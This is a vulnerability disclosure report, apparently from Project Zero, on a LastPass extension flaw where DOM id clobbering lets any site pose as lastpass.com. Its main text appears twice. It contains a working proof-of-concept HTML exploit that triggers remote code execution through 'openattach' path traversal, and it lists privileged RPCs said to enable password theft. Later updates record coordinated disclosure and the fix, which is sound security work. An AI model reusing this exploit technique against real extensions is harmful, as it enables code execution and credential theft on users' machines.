NOTE: Please ***do not*** release a patch until you're confident all cases have been fixed. Releasing a patch that just fixes the single case that I've made a demo for will make it very easy to identify the vulnerability and for someone to simply exploit any of the hundreds of others of cases where you've made this mistake. Please communicate with me on your plan to release fixes so that we can make sure the process goes smoothly. We will not release vulnerability details until *either* a patch is available or 90 days expire.
**********************
LastPass allows users to customize some settings from their online vault on lastpass.com. Their website communicates with the extension through a <form> with the special name "lpwebsiteeventform".
Here is the code that handles that, from onloadwff.js:
function handle_form_submit(e, t) {
...
try {
if ("lpwebsiteeventform" == t.name)
lpwebsiteevent(e, t);
else if ("lpmanualform" == t.name)
lpmanuallogin(e, t);
else {
...
This is secure, because they verify that the form is on one of the trusted domains "lastpass.com" or "lastpass.eu"
function lpwebsiteevent(e, t) {
if (!lp_url_is_lastpass(document.location.href))
return !1;
...
How does lp_url_is_lastpass() work?
function lp_url_is_lastpass(e) {
if (null == e)
return !1;
var t = /^https:\/\/([a-z0-9-]+\.)?lastpass\.(eu|com)\//i
, n = "https://lastpass.com/";
if ("undefined" != typeof base_url && (n = base_url), <-- XXX
0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
return !0;
if ("undefined" != typeof g_loosebasematching) { <-- XXX
var i = lp_gettld_url(e);
return new RegExp(i + "/$").test(base_url)
}
return t.test(e)
}
That seems reasonable, but look at the lines marked "XXX", global flags that might be undefined!
g_loosebasematching is a boolean flag, so just making it defined is enough. The untrusted page can do that like this
el = document.createElement("exploit")
el.setAttribute("id", "g_loosebasematching");
document.body.appendChild(el);
But this still requires us to define base_url, and that is a string not just a boolean flag. An attacker can insert DOM elements and make base_url defined, but you can't make base_url.toString() contain anything useful, it will always have the value "[object SomeHtmlElement]". Even if we create ES customElements or make a class that extends HTMLElement, that wouldn't be reflected on other isolated worlds.
> el = document.createElement("exploit")
<exploit></exploit>
> el.setAttribute("id", "base_url")
> document.body.appendChild(el)
<exploit id="base_url"></exploit>
> base_url.toString()
"[object HTMLUnknownElement]"
I don't believe there is anyway to override HTMLElement.toTagString() that will work across isolated worlds, and all elements (HTMLTableElement, HTMLImageElement, HTMLUnknownElement, etc) work this way.
Well....there is one exception! HTMLAnchorElement.toString() works differently! 🙂
> el = document.createElement("a")
<a></a>
> el.setAttribute("href", "//hello")
> el.toString()
"http://hello/"
This means we can convince the extension that any website is https://www.lastpass.com! So what kind of things can we do with lpwebsiteevent()?
There are a bunch of privileged RPCs that let you send arbitrary parameters, here are some of them:
"keyplug2web"
"getversion"
"setdefaultloginusername"
"openlogindialog"
"getdebuginfo"
"keyweb2plug"
"logoff"
"logout"
"login"
"rsadecrypt"
"rsaencryptmultiple"
"clearcache"
"getimportdata"
"recover"
"getloggedin"
"switchidentity"
"getuuid"
"setuuid"
"clearuuid"
"setupmultifactor"
"setupsinglefactor"
"checkmultifactorsupport"
"verifymultifactor"
"multifactorauth"
"multifactorreprompt"
"gohome"
"lpgologin"
"checkattach"
"getattach"
"openattach"
"saveattach"
"setboolpref"
"request_native_messaging"
"checkduo"
"auto_pwchg"
"auto_pwchg_batch_alive"
"support_pwchg"
"kill_batch_background"
"auto_pwchg_batch"
"support_pwchg_batch"
"auto_pwchg_hide"
"auto_pwchg_status_update_ack"
"get_browser_history_tlds"
"starttrial"
"get_plugin_capabilities"
Many of these allow you to steal passwords, perform Universal XSS (i.e. compromise any website), but I recognize "openattach" from issue 1209, it allows arbitrary remote code execution.
Let's see how the parameters work:
...
"openattach" == t.eventtype.value ? sendBG({
cmd: "openattach",
attachkey: t.eventdata1.value,
data: t.eventdata2.value,
mimetype: t.eventdata3.value
...
OK, so we can just copy the parameters from issue 1209 and do this:
<html>
<head>
<script>
function start() {
x = document.createElement("a");
x.setAttribute("id", "base_url");
x.setAttribute("href", "//" + document.location.hostname);
document.body.appendChild(x);
exploit.submit();
}
</script>
</head>
<body onload="start()">
<exploit id="g_loosebasematching" />
<form id="exploit" name="lpwebsiteeventform">
<input type="hidden" name="eventtype" value="openattach">
<input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec">
<input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==">
<input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat">
<form>
</body>
</html>
I uploaded the demo here, it's also attached for reference:
https://lock.cmpxchg8b.com/chaiThe5/lastpass.html
(The demo only works on Chrome with Windows and the Binary component, **other** browsers, settings and platforms work, I just haven't written a demo)
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Windows 10-2017-03-25-12-03-46.png
143 KB
ViewDownload
A major part of the LastPass password manager is content scripts, additional privileged javascript that is injected into pages and can change or monitor content. LastPass use content scripts to search webpages for forms, add additional UI elements, and so on. The reason that it's safe to have content scripts with higher privilege than the page they're injected into is a concept called "isolated worlds". An isolated world is a javascript execution environment that shares the same DOM , but not variables and functions and so on.
Without isolated worlds, unprivileged pages could interfere with higher privileged scripts, and make them do whatever they want.
https://developer.chrome.com/extensions/content_scripts#execution-environment
It's important to remember that isolated worlds don't mean it's impossible to write insecure content scripts, it just means that it *is* possible to write secure content scripts; without isolated worlds it would be impossible.
https://developer.chrome.com/extensions/content_scripts#security-considerations
Consider an example content script like this:
var trusted=false
document.body.addEventListener("click", function() {
if (trusted) {
eval(window.location.hash.substr(1))
}
});
This is safe to inject unto untrusted pages, because pages cannot interfere with the value of the variable `trusted`, so cannot make the privileged script eval() something malicious.
Do we really need to declare the variable trusted? In JavaScript, it will simply be undefined, so couldn't we just do this?
document.body.addEventListener("click", function() {
if (typeof trusted != "undefined") {
eval(window.location.hash.substr(1))
}
});
The answer is that we really do need to declare it. This is because although the page cannot define variables, the isolated worlds *do* share the same DOM, and DOM element ids automatically become properties of window.
https://html.spec.whatwg.org/#named-access-on-the-window-object
This means that the example script above is *insecure*, an exploit would simply look like this:
el = document.createElement("exploit")
el.setAttribute("id", "trusted");
document.body.appendChild(el);
Now window.trusted is not undefined, and we can take over the privileged content script.
It looks like LastPass did not know that this was the case, because it's a common pattern in their extension to have a set of global flags that are undefined unless used. Here are some examples:
function lp_init_tlds() {
"undefined" != typeof lp_all_tlds && null != lp_all_tlds || (lp_all_tlds = new Array)
}
if ("undefined" != typeof g_sitepwlen && void 0 !== g_sitepwlen[e])
return g_sitepwlen[e];
"undefined" != typeof lpformfills && 0 == lpformfills.length && !m) {
if (A) {
var w = A.contentDocument;
w && (w.m_abortedFormFillChecking = !0)
}
return !1
}
etc.
This is a very common pattern in LastPass, with hundreds of examples. This will require a considerable cleanup effort to find all cases where global properties are unsafely trusted.
Because untrusted websites can influence a bunch of codepaths in LastPass, it is very easy to turn this into remote code execution. I've created one example, but there are hundreds of places where attackers can influence codepaths in the LastPass extension that need to be cleaned up.
**********************
NOTE: Please ***do not*** release a patch until you're confident all cases have been fixed. Releasing a patch that just fixes the single case that I've made a demo for will make it very easy to identify the vulnerability and for someone to simply exploit any of the hundreds of others of cases where you've made this mistake. Please communicate with me on your plan to release fixes so that we can make sure the process goes smoothly. We will not release vulnerability details until *either* a patch is available or 90 days expire.
**********************
LastPass allows users to customize some settings from their online vault on lastpass.com. Their website communicates with the extension through a <form> with the special name "lpwebsiteeventform".
Here is the code that handles that, from onloadwff.js:
function handle_form_submit(e, t) {
...
try {
if ("lpwebsiteeventform" == t.name)
lpwebsiteevent(e, t);
else if ("lpmanualform" == t.name)
lpmanuallogin(e, t);
else {
...
This is secure, because they verify that the form is on one of the trusted domains "lastpass.com" or "lastpass.eu"
function lpwebsiteevent(e, t) {
if (!lp_url_is_lastpass(document.location.href))
return !1;
...
How does lp_url_is_lastpass() work?
function lp_url_is_lastpass(e) {
if (null == e)
return !1;
var t = /^https:\/\/([a-z0-9-]+\.)?lastpass\.(eu|com)\//i
, n = "https://lastpass.com/";
if ("undefined" != typeof base_url && (n = base_url), <-- XXX
0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
return !0;
if ("undefined" != typeof g_loosebasematching) { <-- XXX
var i = lp_gettld_url(e);
return new RegExp(i + "/$").test(base_url)
}
return t.test(e)
}
That seems reasonable, but look at the lines marked "XXX", global flags that might be undefined!
g_loosebasematching is a boolean flag, so just making it defined is enough. The untrusted page can do that like this
el = document.createElement("exploit")
el.setAttribute("id", "g_loosebasematching");
document.body.appendChild(el);
But this still requires us to define base_url, and that is a string not just a boolean flag. An attacker can insert DOM elements and make base_url defined, but you can't make base_url.toString() contain anything useful, it will always have the value "[object SomeHtmlElement]". Even if we create ES customElements or make a class that extends HTMLElement, that wouldn't be reflected on other isolated worlds.
> el = document.createElement("exploit")
<exploit></exploit>
> el.setAttribute("id", "base_url")
> document.body.appendChild(el)
<exploit id="base_url"></exploit>
> base_url.toString()
"[object HTMLUnknownElement]"
I don't believe there is anyway to override HTMLElement.toTagString() that will work across isolated worlds, and all elements (HTMLTableElement, HTMLImageElement, HTMLUnknownElement, etc) work this way.
Well....there is one exception! HTMLAnchorElement.toString() works differently! 🙂
> el = document.createElement("a")
<a></a>
> el.setAttribute("href", "//hello")
> el.toString()
"http://hello/"
This means we can convince the extension that any website is https://www.lastpass.com! So what kind of things can we do with lpwebsiteevent()?
There are a bunch of privileged RPCs that let you send arbitrary parameters, here are some of them:
"keyplug2web"
"getversion"
"setdefaultloginusername"
"openlogindialog"
"getdebuginfo"
"keyweb2plug"
"logoff"
"logout"
"login"
"rsadecrypt"
"rsaencryptmultiple"
"clearcache"
"getimportdata"
"recover"
"getloggedin"
"switchidentity"
"getuuid"
"setuuid"
"clearuuid"
"setupmultifactor"
"setupsinglefactor"
"checkmultifactorsupport"
"verifymultifactor"
"multifactorauth"
"multifactorreprompt"
"gohome"
"lpgologin"
"checkattach"
"getattach"
"openattach"
"saveattach"
"setboolpref"
"request_native_messaging"
"checkduo"
"auto_pwchg"
"auto_pwchg_batch_alive"
"support_pwchg"
"kill_batch_background"
"auto_pwchg_batch"
"support_pwchg_batch"
"auto_pwchg_hide"
"auto_pwchg_status_update_ack"
"get_browser_history_tlds"
"starttrial"
"get_plugin_capabilities"
Many of these allow you to steal passwords, perform Universal XSS (i.e. compromise any website), but I recognize "openattach" from issue 1209, it allows arbitrary remote code execution.
Let's see how the parameters work:
...
"openattach" == t.eventtype.value ? sendBG({
cmd: "openattach",
attachkey: t.eventdata1.value,
data: t.eventdata2.value,
mimetype: t.eventdata3.value
...
OK, so we can just copy the parameters from issue 1209 and do this:
<html>
<head>
<script>
function start() {
x = document.createElement("a");
x.setAttribute("id", "base_url");
x.setAttribute("href", "//" + document.location.hostname);
document.body.appendChild(x);
exploit.submit();
}
</script>
</head>
<body onload="start()">
<exploit id="g_loosebasematching" />
<form id="exploit" name="lpwebsiteeventform">
<input type="hidden" name="eventtype" value="openattach">
<input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec">
<input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==">
<input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat">
<form>
</body>
</html>
I uploaded the demo here, it's also attached for reference:
https://lock.cmpxchg8b.com/chaiThe5/lastpass.html
(The demo only works on Chrome with Windows and the Binary component, **other** browsers, settings and platforms work, I just haven't written a demo)
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
I made some minor changes to the demo so that it works in Firefox on Windows as well as Chrome. The same code exists for all browsers though, so it probably works on all platforms and browsers with minor tweaks.
Project Zero team member jannh@ suggested they could use a script like this to help them track down more unsafe usages. That sounds really useful, I forwarded the idea on to lastpass.
(function() {
const proxy = new Proxy(Object.create(null), {
get: function(target, property, receiver) {
if (property == Symbol.unscopables)
return null;
if (Object.prototype.hasOwnProperty.call(window, property))
return window[property];
if (!Reflect.has(EventTarget.prototype, property))
throw new Error(`global ${property} not found`);
return Reflect.get(EventTarget.prototype, property, window);
},
set: function(target, property, value, receiver) {
window[property] = value;
},
has: function(target, property) {
return true;
}
});
with (proxy) {
// normal code here
}
})();
Jann also points out that content scripts probably do not need window[id] to work, and it might be worth discussing it with the major browsers when this is public.
It does seem likely other developers have made the same mistake, and seems impossible anybody would be relying on it in a content script. If someone really wants it, maybe it could be opt-in in extension Manifests.
I spoke to some security engineers from LastPass.
* They confirm the issue and have a team working on fixes.
* As suspected, this is going to be a big cleanup for them, but they're aiming for next week. ("It looks like over 3000 instances of this issue to fix through all our projects")
* They're planning to publish some generic advice to their users, and push a mitigation that *just* breaks the openattach trick I've been using.
- I confirmed that's fine, that wouldn't give any clues about the vulnerability. So long as we're clear it's still exploitable.
* We discussed how it seems likely other people have made this mistake, and that it seems prudent to check other popular extensions.
- I agreed, and said I plan to check the top ~20 popular extensions next week.
* They said this should have been explicit in the documentation.
- I agree, once the issue is resolved I'll find someone from Chrome to talk to about updating the documentation, as well as asking if we can disable this for content scripts.
I found the top ten popular extensions on the chrome web store this morning from an internal dashboard.
Many extensions do make this mistake, but none struck me as security issues that needed to be formally disclosed. Many allow untrusted web pages to disrupt an extension's operation or make it display garbage or throw an exception, but I do not consider that a security issue.
I cannot reasonably go through all extensions though, so hopefully authors will see this announcement and check their own code.
Update from LastPass, it looks like they're nearly ready to release updates:
"We've implemented both the Proxy method you shared, and an automatic replacement of all global variables with a prefix container variable as two different work streams. Both methods look like they'll be successful and resolve the core issue. We may include both changes for extra depth."
We also discussed how it's a nightmare to synchronize extension updates across different stores.
I suspect Chrome/Microsoft/Mozilla stores will be okay, but I've never seen Apple budge on expediting critical security updates for Safari extension.
I'm not sure if we're going to have to delay updates for other browsers while we wait for Apple or not (it can take weeks for them to approve updates...).
I thought it was worth nothing that we can even create something that looks like an Array of strings across worlds by defining multiple HTMLAnchorElements with the same id.
This would create a HTMLCollection, and each element would have an attacker controlled toString() method. This seems like it might be useful in other similar vulnerabilities.
> el1 = document.createElement("a")
> el1.setAttribute("id", "foobar")
> el2 = document.createElement("a")
> el2.setAttribute("id", "foobar")
> el2.setAttribute("href", "//blah")
> document.body.appendChild(el1)
> document.body.appendChild(el2)
> foobar
[a#foobar, a#foobar]
> foobar[1].toString()
"http://blah/"
Although HTMLAnchorElement has to be a valid URL, the format is pretty relaxed...
> a.href="foobarbazfoobarbaz:;,/[]@#1"
"foobarbazfoobarbaz:;,/[]@#1"
> a.toString()
"foobarbazfoobarbaz:;,/[]@#1"
LastPass sent me a pre-release build to test, their fix looks comprehensive.
They did decide to implement Jann's Proxy() solution, which I think is quite elegant.
They've also implemented some additional mitigations, and have a plan ready for updates (still on schedule for this week).
Really impressed with their response to this complex issue.
It looks like the Chrome updates are live, I've been told this would be updated last so it looks like this is now resolved.
(I agreed to wait a few hours for the extension stores to sync before making this issue public).
(Fixed in Chrome for >= 4.1.45 and Firefox >= 4.1.44a)